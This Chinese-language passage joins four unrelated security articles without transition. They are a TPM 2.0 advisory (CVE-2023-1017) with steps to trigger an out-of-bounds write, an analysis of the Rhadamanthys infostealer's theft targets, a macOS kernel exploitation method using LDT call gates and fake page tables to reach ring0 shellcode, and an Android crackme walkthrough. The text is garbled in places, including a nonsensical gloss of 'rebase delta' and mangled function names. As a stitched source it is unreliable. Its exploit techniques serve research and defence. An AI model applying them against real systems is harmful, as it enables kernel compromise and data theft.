應該使用UINT16_Unmarshal函數來代替，它在從給定的緩衝區讀取之前執行適當的大小檢查。 漏洞2：OOB寫入(CVE-2023-1017):如果提供了適當的parameterArea(避免出現漏洞1)，則parameterArea的前兩個字節將被解釋為要解密的數據的大小（[1]處的cipherSize變量）。在讀取了cipherSize之後，在[2]處，緩衝區指針向前移動2。在[3]中有一個健全性檢查，如果cipherSize值大於實際緩衝區大小，那麼它將被釋放，但這裡有一個問題，在讀取cipherSize 16位字段並將緩衝區指針向前移動2之後，函數會忘記從bufferSize減去2，忽略已經處理的兩個字節。因此，使用比剩餘數據實際大小大2的cipherSize值成功地通過[3]的完整性檢查是可能的。這樣，當調用CryptXORObfuscation()或ParmDecryptSym()函數(分別在[4]和[5]處)來實際解密cipherSize字段後面的parameterArea中的數據時，TPM最終會在緩衝區末尾寫入2個字節，從而導致越界寫入。 一個只有2個字節的OOB寫入一開始可能看起來不是一個非常強大的原語，但去年已有研究人員通過一個值為0x01的單字節OOB寫入，成功地在谷歌Titan M芯片上執行了代碼。 影響1.OOB讀取：CryptUtil.c中的函數CryptParameterDecryption可以讀取接收到的TPM命令結束後的2個字節。如果受影響的TPM沒有將接收到的命令之間的命令緩衝區清零，則可能導致受影響的函數讀取先前命令中已經存在的任意16位值。這取決於實現過程：例如，VMware不會清除請求之間的命令緩衝區，因此OOB讀取可以訪問上一個命令中已經存在的任何值，相反，Hyper-V的虛擬TPM在每次接收到請求時都會用零填充命令緩衝區中未使用的字節，因此OOB訪問最終只讀取零 2.OOB寫入：CryptUtil.c中的函數CryptXORObfuscity/ParmDecryptSym（從CryptParameterDecryption調用）可以在命令緩衝區結束後寫入2個字節，從而導致內存損壞。 第二個漏洞無疑是最有趣的一個。能夠覆蓋有用內容的可能性取決於每個實現如何分配接收TPM命令的緩衝區。例如： VMware使用大小為0x10000的超大緩衝區，遠遠大於通常的最大TPM命令大小0x1000字節； Hyper-V使用一個大小為0x1000的靜態變量作為命令緩衝區; SWTPM使用malloc()分配大小為0x1008的命令緩衝區(8字節用於發送命令前綴，可用於修改位置，加上0x1000字節用於最大TPM命令大小)。 因此，在命令緩衝區附近有一些有用的東西(我們可以用OOB寫入來覆蓋)的可能性實際上取決於實現。上面提到的三個虛擬TPM都使用完全不同的方法來分配命令緩衝區。類似地，在給定硬件TPM的固件的命令緩衝區之後覆蓋一些有用內容的可能性完全取決於特定硬件供應商如何分配用於保存傳入命令的緩衝區。 觸發漏洞為了再現上述2個漏洞中的一個，有必要向目標TPM發送2個命令。在這兩種情況下，第一個命令必須是TPM2_StartAuthSession命令，以啟動授權會話。為簡單起見，我們可以指定TPM_ALG_XOR作為要使用的對稱算法。結果，我們得到一個包含會話句柄的TPM響應。 之後，我們需要發送一個支持參數加密的命令。我們使用了tpm2_creatprimary，儘管其他一些命令可能也能運行。我們在tpm2_creatprimary命令的sessionArea中傳遞上一步中獲得的會話句柄，並在sessionAttributes字段中設置Decrypt標誌。然後: 1.為了再現漏洞1(OOB讀取)，我們發送具有最小有效sessionArea的TPM2_CreatePrimary命令，之後沒有數據，即缺少parameterArea。 2.為了再現漏洞2 (OOB寫入)，我們發送tpm2_creatprimary命令，其總大小等於支持的最大TPM命令大小(0x1000字節)。在本例中，我們確實包含了一個parameterArea，其中cipherSize字段設置為0xfe5 (0x1000 - sizeof(command_base_header) - sizeof(handleArea) - sizeof(sessionArea))，後面跟著0xfe3字節的任意值(填充加密參數的位置)，以完成整個tpm2_creatprimary命令的0x1000字節。 概念驗證.zip文件包含PoC的Python版本(用於在Linux系統上運行)和C版本(用於在Windows機器上運行)。 總結在TPM 2.0參考實現的代碼中發現了兩個安全漏洞：越界讀取和越界寫入。因此，其固件基於可信計算組發布的參考代碼的每個TPM(軟件或硬件實現)都將受到影響。 有趣的是，儘管所有受影響的TPM共享完全相同的易受攻擊的功能，但成功利用的可能性取決於命令緩衝區的實現方式，這部分取決於每個實現。從上述示例可以看到，每個人似乎都以不同的方式處理它：一些人在接收到的請求之間清除命令緩衝區，但另一些人不會；有些通過malloc()在堆中分配命令緩衝區，而另一些則使用全局變量。 本文已經驗證這些漏洞存在於主要桌面虛擬化解決方案(如VMware Workstation、Microsoft Hyper-V和Qemu)中包含的軟件TPM中。最大的雲計算提供商提供的虛擬TPM也可能受到影響。例如，Google Cloud使用IBM發布的代碼自動從TCG參考實現中提取，並且IBM提供的代碼中存在的漏洞也被驗證了。以微軟Azure為例，我們已經提到Windows 10上的Hyper-V受到了影響，由於Azure虛擬機監控程序是基於Hyper-V的，我們預計這兩個漏洞也會出現在Microsoft的雲平台上。 我們預計大多數TPM硬件供應商也會受到影響。由於缺乏調試設置來查看TPM固件在運行時發生的情況，因此很難確認物理芯片中是否存在漏洞。靜態分析可以作為評估硬件TPM是否易受攻擊的替代方法，但在我們設法獲得的少數TPM固件更新中，這些更新是加密的。

Rhadamanthys是一款很高級的信息竊取程序，於去年9月在暗網上首次亮相，亮相之初即受到了攻擊者的熱捧。 2022年9月24日，一個化名“kingcrete2022”的用戶發布了以下內容： 開發者並沒有急於將該產品投放市場，他們已經以“kingcrete2022”的化名在論壇上潛伏了半年，實際可能比其他化名的時間還要長。惡意軟件的整體性構建在正式發布前整整一個月就已經編譯完成了。在正式發布後，一系列瘋狂的版本更新便開始了，開發者添加了一長串功能和子功能，並提供了英語和俄語支持。很快數千個用戶的信息、數十萬個密碼和數百個加密貨幣錢包就被竊取。為了擴大攻擊範圍，開發者還對購買其服務的用戶提供了售後服務。 攻擊目標理論上，Rhadamanthys的開發者並不關心用戶如何處理竊取者竊取的非法數據，不管是實施欺詐、出售數據、發動內戰，對開發者來說都是一樣的。實際上，這種現成惡意軟件的主要客戶是投機取巧的網絡犯罪分子，他們的目標是在任何時間感染任何人。因此，活動受害者遍布世界各地，特別是在一些地方，一些運營商已經開始進行創造性迭代了，比如一個活動以OBS studio等視頻編輯軟件為幌子傳播樣本，通過谷歌廣告推送給不知情的受害者。 攻擊熱圖一般來說，操作這類惡意軟件的攻擊者通常不像大型勒索軟件組織那樣太關心大型目標。對他們來說，這只是一場數字遊戲，即從眾多受害者身上榨取金錢。儘管如此，從統計數據來看，這些攻擊的最終目標確實是針對大型組織的；通過監測，我們能夠確認Rhadamanthys試圖感染加拿大的一家政府機構，以及印度基礎設施部門的一家能源公司。 功能概述Rhadamanthys中包含的功能非常多，其設計原則就是囊括信息竊取所需的一切功能和有關擴展。 Rhadamanthys的功能列表包括竊取受害者的系統信息：計算機名稱、用戶名、內存容量、CPU內核、屏幕分辨率、時區、地理位置、環境、安裝的軟件、屏幕截圖、cookie、歷史記錄、自動填充、保存的信用卡、下載、收藏夾和擴展，它從FTP客戶端竊取憑據——Cyberduck、FTP Navigator、FTPRush、FlashFXP、Smartftp、TotalCommander、Winscp、Ws_FTP和Coreftp；以及來自郵件客戶端CheckMail, Clawsmail, GmailNotifierPro, Mailbird, Outlook, PostboxApp, Thebat! Thunderbird, TrulyMail, eM和Foxmail；它從雙因素驗證應用程序和密碼管理器RoboForm、RinAuth、Authy和KeePass竊取憑據；VPN業務，包括AzrieVPN、NordVPN、OpenVPN、PrivateVPN_Global_AB、ProtonVPN和WindscribeVPN；筆記應用程序，包括NoteFly、Notezilla、Simple Stick Notes和Windows Stick Notes；即時通訊應用程序的消息歷史記錄，包括Psi+、Pidgin、tox、Discord和Telegram；此外，它還竊取了Steam、TeamViewer和SecureCRT的受害者憑據。 當Filezilla FTP憑據出現在攻擊者端時被竊取 開發者特別強調了與竊取加密貨幣相關的功能，在一個版本更新中，有9項新功能，其中4項是對加密貨幣錢包的竊取和破解的增強。最初版本中支持的錢包列表確實很難處理，包括Auvitas, BitApp, Crocobit, Exodus, Finnie, GuildWallet, ICONex, Jaxx, Keplr, Liquality, MTV, Metamask, Mobox, Nifty, Oxygen, Phantom, Rabet, Ronin, Slope, Sollet, Starcoin, Swash, Terra, Station, Tron, XinPay, Yoroi, ZilPay, Coin98, Armory, AtomicWallet, Atomicdex, Binance, Bisq, BitcoinCore, BitcoinGold, Bytecoin, coinomi, DashCore, DeFi, Dogecoin, Electron, Electrum, Ethereum, Exodus, Frame, Guarda, Jaxx, LitecoinCore, Monero, MyCrypto, MyMonero, Safepay, Solar, Tokenpocket, WalletWasabi, Zap, Zcash 和Zecwallet。 所有這些竊取行為都是在感染後自動執行的，如果攻擊者決定對受感染的設備進行更多的操作，他們可以將新配置推到“文件抓取”模塊，該模塊將竊取與windows搜索查詢匹配的所有文件或者對於真正的高級用戶，將手工製作的powershell推到受害設備上執行。 在攻擊者端出現時被竊取的環境變量 “文件抓取”模塊在攻擊者端出現時竊取的文件 技術分析初步執行流程該惡意軟件在進入信息竊取功能之前要經歷六個執行階段：滴管、shellcode、安裝程序等。 在分析Rhadamanthys時，我們觀察到分析樣本的邏輯與上述文章中詳細描述的邏輯之間的差異，這證明了惡意軟件還在不斷開發中。最值得注意的是NSIS加載程序DLL的行為，在我們分析的執行流中，它從C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\AppLaunch.exe創建一個掛起的進程，然後用注入的惡意代碼逐個替換掛起的進程。 如上所述，注入的代碼會依次加載幾個執行階段，其中一個階段嘗試從Al-Khaser項目中獲取許多VM逃避，然後解綁ntdll.dll中的函數，以避免被檢測到。最後，它解析了一個內部混淆的C2地址，並從其中下載包含實際信息竊取功能的最後階段。 分析孤立內存轉儲分析實際的竊取邏輯並不是那麼簡單，在無法訪問實時C2服務器的情況下，分析師有兩種選擇。要么他們去執行一個全新的執行鏈，對所有階段進行調試，並希望獲得一個實時的C2服務器，該服務器會使用很多啟發式方法將它們竊取；或者在不可讀的狀態下使用轉儲，這些轉儲是在C2仍然存在時從沙箱運行中獲得的。在這種特殊的情況下，內存轉儲包含許多說明惡意軟件大致行為的字符串，但是在進行適當的交互式反彙編之前存在許多障礙。 第一個也是最主要的障礙是缺乏API調用的解決方案。在反彙編程序中打開轉儲，然後進行函數調用，可以很快地運行一個必須是動態解析函數的自製導入表。轉儲是沙箱運行的產物，早就結束了，現在這些地址似乎毫無意義。我們能夠使用下面將要解釋的方法來解析幾乎每個函數。 首先，我們知道，在沙箱運行期間，這些地址指向加載到內存中的DLL。第二，我們知道執行是在擁有代碼名為Win10v2004-20220812-en的tria.ge環境中運行的。我們將自己的虛擬可執行文件上傳到沙箱中，確保我們選擇的環境與原始沙箱運行中使用的環境相同，然後查看我們選擇的DLL並恢復DLL版本。 不幸的是，即使我們有DLL版本，微軟也沒有那麼慷慨地提供DLL的歷史版本供下載。這類問題有多種解決方法，你可以上winbindex查找。我們選擇使用tria.ge的一個功能：許多用戶要求提供手動轉儲執行流中生成的文件的功能。作為一種解決方案，沙箱引入了一項功能，允許用戶轉儲他們想要的任何文件，只要他們打開windows文件資源管理器並手動刪除那裡的文件。好吧，如果我們嘗試將kernel32.dll從C:\windows\system32中的駐留位置刪除，操作系統將不會允許，但沒有什麼能阻止我們將文件複製到其他地方，然後刪除副本。在原始沙箱運行期間加載到內存中的同一個DLL現在可以在分析結束後從分析報告的“下載”部分獲得。 通過這種方式，我們下載了許多dll，這些dll是惡意軟件或任何軟件真正想要解析API的始作俑者，如advapi32.dll、user32.dll、msvcrt.dll、ws2_32.dll等。現在我們可以在反彙編程序中打開這些文件，手動加載文件並為每個DLL函數分配虛擬地址。遺憾的是，我們還遠遠沒有完成，因為我們仍然不知道DLL最初加載時的基址，甚至不知道特定的DLL包含某個內存地址所指向的函數。 即使不知道哪一個是相關的DLL，也可以通過簡單的觀察在一定程度上緩解，例如，在下圖中，函數qword_c5c08（指針值0x7ffbf1bd5f20）將註冊表項作為參數，因此很可能來自advapi32.dll。但這不會適用於每個dll，我們不會總是足夠幸運地找到一個函數，惡意軟件會將這樣一個硬編碼字符串作為參數。更關鍵的是，即使我們以某種方式知道每個函數地址的正確DLL，這仍然不會告訴我們在最初的沙箱運行期間加載DLL的原始地址，這對於計算當時加載到內存中的函數地址(我們正在嘗試解析)與我們在反彙編程序中打開的加載的帶註釋的DLL中的標記函數地址之間的rebase delta（基於深度學習的語音和自然語言理解模型訓練平台）是必要的。 qword_c5c08可能是一個以某種方式與Windows註冊表交互的函數 為了克服這個障礙，我們注意到沙箱轉儲中的函數地址可能被劃分為連續的序列，每個序列都是從同一個DLL導入的。這意味著，如果我們從表中取出10個qword指針，幸運的是它們都是從同一個DLL中解析的，那麼當加載到內存中時，在該DLL中，這10個函數的地址之間將存在相同的差異。為了講解方便，我們舉一個示例：假設我們要解析的10個地址列表以某個地址AX開始，然後以AX+0x300、AX+0x500、AX+0x930等六個其他地址繼續；進一步假設，在一個加載和註釋的DLL中，我們發現對於某個地址AY，恰好AY+0x300、AY+0x500、AY+0x930等都是函數的地址。這是一個非常幸運的巧合，它本身就發生了，原始沙箱運行中的原始地址AX解析為我們註釋文件中AY中的函數。通過查看與列表中的地址匹配的10個函數名，並驗證它們似乎是沙箱中運行的軟件所需的合理列表，可以進一步檢查匹配情況。 以下IDAPython代碼在加載的DLL數據庫中運行時，將自動執行查找函數地址序列匹配項的任務： 例如，上圖中看到的地址(我們懷疑是從advapi32.dll解析出來的地址)出現在以下10個地址的序列中： 我們打開從沙箱中轉儲的advapi32.dll文件的註釋idb，加載上面的IDA腳本，並運行函數dll_match，將此地址列表作為輸入。作為輸出，我們收到這些函數地址中每一個的正確分辨率。 事實證明，在沙箱運行期間加載到地址0x7ffbf1bd5f20的上述函數是RegQueryValueExW。使用這種方法，可以很容易地“挑選”並嘗試對各種dll運行相同的腳本，以查看獲得了哪些匹配，以及它們的可行性。雖然特定的工作流程不能很好地擴展，但如果需要的話，不難看出如何簡化流程，例如，通過保留許多DLL版本的函數地址差異的預計算數據庫，並對其進行所有差異比較。 竊取Chrome信息的過程示例 即使解決了API調用，數據庫仍然非常大，包含超過2500個函數。其中許多是來自第三方庫的庫函數，如sqlite3和lua_cjson，這帶來了另一個麻煩，因為解析這些函數需要我們編譯這些庫的註釋版本，然後執行bindiff（或類似的操作）來標記Rhadamanthys使用的函數。這是一個出了名的挑選過程，許多標籤在手動驗證之前並沒有太大用處。 綜上所述，數據庫的狀態現在更令人滿意，並允許我們以以前無法做到的方式分析執行流。例如，我們將重點關注惡意軟件從谷歌Chrome中竊取存儲的登錄憑據、cookie等的能力，包括三個階段：正在搜索包含所有數據的正確目錄； 從包含cookie、登錄數據等的感興趣的文件中讀取原始數據； 根據數據是JSON還是SQL數據庫格式，使用第三方庫邏輯對數據進行解析； 惡意軟件首先在受害者文件系統中遞歸搜索名為“web data”的文件，以導航到%LOCALAPPDATA%\\Google\\Chrome\\User data\\default，然後遍歷樹查找其他工件，如“Cookie”或“登錄數據”，並將每個匹配項收集到二進制位字段中；如果這個字段非零，那麼惡意軟件就會確信它已經正確定位了Chrome目錄。 然後，惡意軟件會訪問用戶感興趣的文件，比如登錄數據。其中一些文件是SQL數據庫，在這種情況下，惡意軟件從內存中的文件內容初始化SQL數據庫，然後通過發出SELECT語句獲得所需的數據。相比之下，其他的則是JSON格式，因此惡意軟件會調用一個函數來解析JSON並提取與某個項相關的值： 通過將信息解析為明文格式，現在可以將其附加到被盜信息數據庫中，並最終報告給攻擊者，從而得到針對該特定目標（Chrome）的盜竊功能。 總結Rhadamanthys代表著在新興惡意軟件發展的趨勢，即它們盡可能多地發揮作用，也證明了在惡意軟件行業，品牌的影響力慢慢變大。一些讀者可能還記得Godzill加載程序的模式，它的零售價格只有Emotet的四分之一，並提供一系列與Emotet截然不同的功能，以增強其競爭力。這清楚地表明，攻擊者不會明確計算哪些功能集會為他們帶來更多的受害者，他們依賴於一種模糊的感覺，即他們對開發者、品牌和功能更看重。任何開發人員都可以編寫一段惡意軟件，有些開發人員甚至可以編寫一個具有完整功能的惡意軟件，但需要市場的認可。

確定當前CPU雖然這不是一個真正的“技巧”，但為了匹配dblmap中的正確結構地址，有必要識別當前CPU編號。每個內核都有自己的GDT(在dblmap中)，因此可以使用sgdt指令來確定當前的CPU。然後可以循環，直到看到“正確的”GDT。 需要執行此操作的一個示例是在使用有效負載填充LDT 之後，任務需要在正確的內核上執行，然後有效負載才會出現在dblmap 中該內核的LDT 中。 使用dblmap 簡化實際的漏洞利用為了提供一個演示dblmap 實用性的具體示例，我們將展示如何通過使用dblmap 而不是其過度複雜的多個洩漏原語構造來大大簡化我們的Pwn2Own 2021 內核漏洞利用。 GitHub 上提供了此變體的源代碼以及完整的Safari 到內核鏈的其餘部分。 bug/exploit 的完整細節在之前的一篇文章中已經介紹過：1.我們對已釋放的內核緩衝區進行任意寫入操作；2.沒有內核信息洩露。 我們可以使用包含OSObject 指針的新OSArray 的後備存儲輕鬆回收已釋放的內核緩衝區。這些是C++ 對象，因此破壞數組中的內核數據指針以指向假對象應該足以通過虛擬調用劫持控制流。 多虧了dblmap，我們可以將已知的數據放在已知的內核地址。這意味著我們可以在LDT中構造偽內核對象及其虛函數表，而不需要真正的內核文本或數據洩漏。 為了簡單起見，我們選擇CPU 0作為“正確”的CPU，它的LDT對應於內核中的master_ldt符號。 現在我們已經能夠劫持內核控制流，我們需要研究調用時的寄存器狀態，以及如何將其轉換為對dblmap函數的有用調用。 被劫持的內核調用網站的參數控制在這種情況下，將生成一個損壞的OSArray的副本，我們首先能夠在OSArray:initWithObjects()中劫持控件，它被傳遞給包含損壞對象的備份存儲。遍歷損壞的支持存儲，並為每個對象調用taggedRetain()虛函數。 調用的第一個參數自然是this指針，它將指向LDT中的假對象； 第二個參數是“tag”，它將是OSCollection:gMetaClass； 沒有明確的第三個參數，但我們仍然可以查看函數是如何編譯的，並確定調用網站的rdx（根據調用約定的第三個參數）中可能包含的內容。 它恰好在count++操作期間使用，這意味著它將等於假對像在已損壞數組中的索引加1。換句話說，如果破壞數組中第i個索引的對象，對應調用的第三個參數將是i+1。這讓我們可以控制第三個參數，只要它是一個相對較小的非零整數。 由於第二個參數OSCollection:gMetaClass 是OSMetaClass 的一個實例，一個C++ 對象，它的第一個字段是虛函數表。使用第三個參數8調用memcpy()會相對簡單，它會將虛函數表複製到LDT中。然後可以使用i386_get_ldt()讀出虛函數表，這將導致文本洩漏。 然後，我們可以使用OSSerializer:serialize()將帶有受控制的this參數的調用轉換為帶有3個受控制參數的任意函數調用(假設可以滿足LDT限制)。這可能足以獲得足夠的洩漏，以消除對LDT的依賴，並從那裡繼續利用。 在LDT 中設置任意位hibernate_page_bitset() 函數的簽名是： 第二個布爾參數set決定函數是設置位還是清除位。在我們的例子中，它將為真，因為OSCollection:gMetaClass是非零的。 第三個參數page指定要設置或清除的位。如前所述，我們可以將其設為任何小的非零整數。 第一個參數是LDT中的假對象，它的結構如下: 簡而言之，它是一個可變大小的位圖數組，其中每個位圖都與一個位索引範圍相關聯。 由於我們控制了偽結構和位索引，因此調用這個函數允許我們在LDT中設置任意位。 應該注意的是，dblmap 中LDT 的內存內容是短暫的，如果當前任務（進程/線程）被搶占，它們就變得無關緊要。 當一個新任務開始在CPU上執行時，如果它有一個LDT，它將被複製到dblmap中，覆蓋現有的已損壞的內容。同樣，當重新調度被搶占的任務(具有先前損壞的LDT)時，複製到dblmap中的LDT來自堆分配結構，從而有效地消除了損壞。 在本文的示例中，你基本上可以忽略這個細節，因為失敗不會有任何懲罰或崩潰，如果需要的話，我們可以重新執行被劫持的bitset調用。另外，OSArray:initWithObjects()在一個循環中遍歷已損壞的後台存儲，這意味著我們可以劫持數組中每個插槽的虛擬調用，並在一次傳遞中多次調用bitset函數。我們不需要每次設置一個位時都來回切換到用戶空間，這意味著經過的時間更少，我們的任務被搶占的機會也就越低。 另一種選擇是破壞LDT 中的前3 個描述符之一。這些是硬編碼的，不能用i386_set_ldt() 修改： 由於它們預計不會更改，因此每次在CPU 上執行新任務時不會重置這些條目。任何dblmap 的LDT（每個CPU 一個）中對這3 個描述符的任何損壞都將在搶占期間持續存在。 構建調用門在LDT中設置比特聽起來很強大，但我們實際上可以用它做什麼？ 請記住，有兩種類型的描述符:用於內存區域的代碼/數據描述符和系統描述符。 LDT中唯一允許的系統描述符是調用門。正如英特爾手冊所述:調用門有助於在不同權限級別之間進行程序控制的受控傳輸。 它們主要由3個方面定義： 1.訪問門所需的權限級別； 2.目標代碼段選擇器； 3.目標入口點； 二進制格式： 當從用戶空間（ring3）通過呼叫門進行遠程呼叫時，大致會發生以下情況： 1.檢查權限（調用門描述符的DPL 字段必須為3）； 2.目標代碼段描述符的DPL 字段成為新的權限級別； 3.使用新的權限級別從TSS 中選擇一個新的堆棧指針； 4.將舊的ss 和rsp 推入新堆棧； 5.將舊的cs和rip推入新堆棧； 6.從調用門選擇器和入口點設置cs和rip。 構造一個可以被ring3 (DPL為3)訪問的調用門，並為64位內核代碼(0x8)指定代碼段選擇器，這將允許我們對指定的任何地址執行遠程調用，如ring0。 濫用調用門來利用內核漏洞之前已經被證明過，但是在32 位Windows 的上下文中，當時SMEP、SMAP和頁表隔離並未受到關注。 洩露kernel slide當我們觸發遠程調用時，Supervisor Mode Execution Prevention (SMEP)阻止我們跳轉到用戶空間中的可執行代碼。頁表仍然處於用戶模式，其中唯一映射的內核空間頁用於dblmap。這就留下了跳到__HIB文本部分中的現有代碼的唯一選項。 我們將遠程調用指向ks_64bit_return()的中間，它包含以下指令序列: 請記住，我們擁有完全的寄存器控制(rsp除外，它將是內核堆棧)，因此對r15解引用的第一條指令將給我們一個任意的讀原語。我們只需將r15適當地設置為要讀取的地址，進行遠程調用，在返回到用戶空間時，r15將包含解除引用的數據。 這可能導致從dblmap中洩漏一個函數指針，從而暴露kernel slide。具體來說，我們可以從idt64_hndl_table0中洩漏ks_dispatch()指針。 這裡有一點需要注意的是，從遠程調用返回通常是通過遠返回指令retf 完成的，而不是iretq 中斷返回。 堆棧佈局將與預期略有不同： rflags 將從舊的rsp 中設置，而rsp 將使用舊的ss 填充，而ss 將從之後發生在堆棧上的任何內容中填充。這意味著： 在進行遠程調用之前，可以通過將RSP設置為Rflags值來“恢復”Rflags； 從舊的ss中設置RSP是沒有問題的，我們可以自己恢復RSP； 加載到ss的堆棧上的下一個值將是一個內核指針，這將是一個無效的選擇器，並將觸發一個異常。然而，這個異常將發生在中斷返回後的ring3中，所以我們可以簡單地使用預期的Mach異常處理行為來捕獲它。 可以使用thread_set_exception_ports()來為EXC_BAD_ACCESS註冊一個異常端口。我們生成一個線程來等待異常消息，然後用包含正確的ss選擇器的消息內容來響應，從而允許遠程調用線程繼續。 控制頁表，控制一切kernel slide不僅顯示內核基址的虛擬地址，而且還顯示其物理地址。這為我們提供了CPU 0的LDT的物理地址，或者換句話說，就是受控數據的物理地址。 這為我們提供了一個非常強大的工具：如果我們重構調用門以跳轉到mov cr3指令，我們將立即獲得任意的ring0代碼執行。 我們所需要做的就是確保我們正確地設置了我們的偽頁表（駐留在LDT 中）： 1.mov cr3後面指令的虛擬地址應該映射到傳入LDT的shellcode的物理地址； 2.內核堆棧應該是可映射和可寫的（對於CPU 0，這是__HIB 段中的符號master_sstk）； 3.根據經驗，這是不必要的，但是為了安全起見，應該映射GDT(對於CPU 0，符號master_gdt)。 注意，這只適用於CPU 0，它的LDT靜態分配在__HIB段中。其他CPU 的LDT 從內核堆分配，虛擬別名插入到dblmap 的頁表中。這些堆分配的物理地址不能直接從kernel slide中推斷出來。 內核Shellcode由於對LDT 描述符的限制，我們傳入LDT的shellcode將由任意6字節的塊組成。如果我們使用2 個字節進行短跳轉（EB + 偏移量），這會留下4 個任意字節的塊。 雖然理論上這已經結束了，但在“正常”頁表狀態下更容易獲得不受限制的shellcode執行。為了實現這一目標，一個簡單的解決方案是使用受限制的shellcode禁用SMEP和SMAP(它們只是CR4寄存器中的位)，然後返回到用戶空間。然後，我們可以像以前一樣觸發一個被劫持的虛擬內核調用，但這一次跳轉到用戶空間中的任意shellcode。 一個小細節是每個CPU都有控制寄存器，所以只有在執行LDT shellcode的CPU上才會禁用SMEP和SMAP。 另一個實現細節是如何干淨地返回到用戶空間，這將需要恢復原始頁表。我們通過讓shellcode執行以下操作來實現： 1.從dblmap 讀取cpshadows[i].cpu_ucr3 到rax； 2.修改堆棧以形成有效的iretq 佈局； 3.跳轉到ks_64bit_return() 執行cr3 切換（來自rax），然後執行iretq； 我們介紹了dblmap 如何大大降低KASLR 的功效，提供幾個有趣的內核調用目標、主機走私內核shellcode 等。

滲透測試Android 應用程序：工具和分步說明（上） 解決UnCrackable Apps 挑戰我們將向您展示如何解決兩個OWASP MSTG CrackMe 挑戰：Android 級別1 的UnCrackable 應用程序和Android 級別2 的UnCrackable 應用程序。這些應用程序專門設計為逆向工程挑戰，代碼中隱藏著秘密。我們的任務就是找到這些秘密。在解決這些挑戰時，我們將使用靜態分析來分析反編譯代碼，並使用動態分析來修改一些應用程序參數。 解決UnCrackable App for Android Level 1首先，我們需要查看我們的培訓應用程序。一個普通的Android 應用程序實際上是一個正確打包的APK 文件，其中包含應用程序正常運行所需的所有數據。 要從內部審視應用程序並解決這一挑戰，我們需要： adb 用於與我們的移動設備和培訓應用程序通信 用於將我們的培訓應用程序的APK 文件反彙編為單獨的.smali 類的Apktool jdb 用於調試我們的訓練應用程序 dex2jar 用於將APK 文件轉換為JAR 格式 用於處理JAR 文件的JD-GUI 現在讓我們繼續解決第一個挑戰。 我們將首先使用以下命令在我們的設備或模擬器上安裝UnCrackable-Level1.apk： 我們將在jdb 工具的幫助下解決這個挑戰並調試Release Android 應用程序。繼續尋找隱藏的秘密。 1. 解壓應用程序並使用Apktool 解碼清單文件： 2. 使用文本編輯器，通過更改清單文件並將應用程序設置為android:debuggable：將應用程序置於調試模式'true'： XML applicationandroid:allowBackup='true'android:debuggable='true'android:icon='@mipmap/ic_launcher'android:label='@string/app_name'android:theme='@style/AppTheme'3.使用Apktool重新打包APK文件： 4.退出新創建的APK文件。您可以使用bash 腳本來執行此操作以重新註冊Android 應用程序。 5. 使用以下命令在您的設備或模擬器上安裝新的APK 文件： 此時，我們面臨第一個大挑戰。 UnCrackable App 旨在抵抗調試模式。因此，當我們啟用它時，應用程序會簡單地關閉。 您將看到帶有警告的模態對話框。可以通過點擊確定關閉對話框，但這將是應用程序終止前的最後一個操作。 滲透測試android 1 幸運的是，有一種方法可以解決這個問題。 6. 在等待調試器模式下在您的設備或模擬器上啟動應用程序。此模式允許您在應用程序運行其檢測機制之前將調試器連接到目標應用程序。因此，應用程序不會停用調試模式。 使用以下命令在等待調試器模式下運行應用程序： 您將看到以下對話窗口： 滲透測試android 2 7. 現在顯示連接設備上運行的所有進程的進程ID (PID)： 8. 並且只列出可調試的進程： 9. 在您的主機上打開一個監聽套接字並將其傳入的TCP 連接轉發到所選可調試進程的JDWP 傳輸： 10. 請注意，附加調試器（在我們的例子中是jdb）將導致應用程序從掛起狀態恢復，我們不希望這樣。我們需要暫停該應用程序一段時間以對其進行詳細探索。為防止進程恢復，將suspend命令通過管道傳輸到jdb： 11. 現在我們需要繞過點擊確定後應用程序在運行時崩潰的那一刻。使用dex2jar 和JD-GUI 反編譯APK 文件以查看應用程序代碼： 1）使用dex2jar工具將原始APK文件轉為JAR文件： 2）使用JD-GUI工具，打開新建的JAR文件： 查看代碼後，您會看到MainActivity.a方法顯示消息： 'This is unacceptable.' MainActivity.a方法創建一個警告對話框並為onClick 事件設置一個偵聽器類。偵聽器類有一個回調方法，當用戶點擊OK 按鈕時，該方法會關閉應用程序。為防止用戶取消對話框，系統調用setCancelable方法。 在這一點上，我們最好的情況是將應用程序暫停在我們正在尋找的秘密字符串存儲在明文變量中的狀態。不幸的是，除非您能弄清楚應用程序如何檢測root 和篡改，否則這是不可能的。 12. 嘗試稍微修改運行時以繞過應用程序終止。 android.app.Dialog.setCancelable在應用程序仍處於暫停狀態時設置方法斷點，然後恢復應用程序： 13. 應用程序在第一個setCancelable方法指令處暫停。您可以使用該locals命令打印傳遞給setCancelable方法的參數： 正如您在上面的代碼中看到的，系統調用了setCancelable(true)方法，所以這不是我們需要的調用。讓我們用resume命令恢復這個過程： 我們已經通過參數調用了setCancelablefalse方法。此時，我們需要使用set命令將變量更改為true並恢復應用程序： 每次到達斷點時繼續設置，flag直到最終顯示警報窗口。 true您可能需要嘗試五六次才能看到此窗口。此時，您應該能夠在不導致應用程序終止的情況下取消應用程序——只需點擊對話框窗口旁邊的屏幕，它就會關閉。 滲透測試android 3 14. 最後，是提取秘密字符串的時候了。再次查看應用程序代碼。您會注意到我們正在尋找的字符串是使用高級加密標準解密的，並與用戶在消息框中輸入的字符串進行比較。應用程序使用java.lang.String類的equals方法來確定字符串輸入是否與秘密字符串匹配。 現在在java.lang.String.equals上設置一個方法斷點，在編輯字段中輸入隨機文本，然後點擊VERIFY。 locals到達斷點後，您可以使用命令讀取方法參數： 答對了！我們的秘訣是“我想相信”。您可以通過在消息框中輸入此短語並單擊“驗證”按鈕來輕鬆檢查是否正確。 滲透測試android 4 做得好！現在我們可以開始解決第二個挑戰了。 解決UnCrackable App for Android Level 2與之前的任務一樣，在這個訓練應用程序的代碼中某處隱藏著一個秘密字符串，我們的目標是找到它。然而，在這種情況下，我們的秘密字符串可能有一些本地代碼的痕跡。 為了解決這個挑戰，我們將使用以下工具： adb 用於與我們的移動設備通信 用於反彙編APK 文件的Apktool 用於處理庫的切割器 gbd 用於分析應用程序代碼 用於編輯二進制數據的Hex Workshop Editor dex2jar 用於將APK 文件轉換為JAR 格式 用於處理JAR 文件的JD-GUI 讓我們直接解決這個挑戰： 1.使用dex2jar和JD-GUI，分析UnCrackable-Level2.apk文件。 1）首先，使用dex2jar將APK文件轉換為JAR文件： 2) 然後用JD-GUI打開轉換後的文件。從MainActivity類開始： 系統加載本機foo 庫。然後我們在MainActivity類的onInit方法中調用原生的init函數。 接下來，CodeCheck類從bar 庫中導入一個函數： 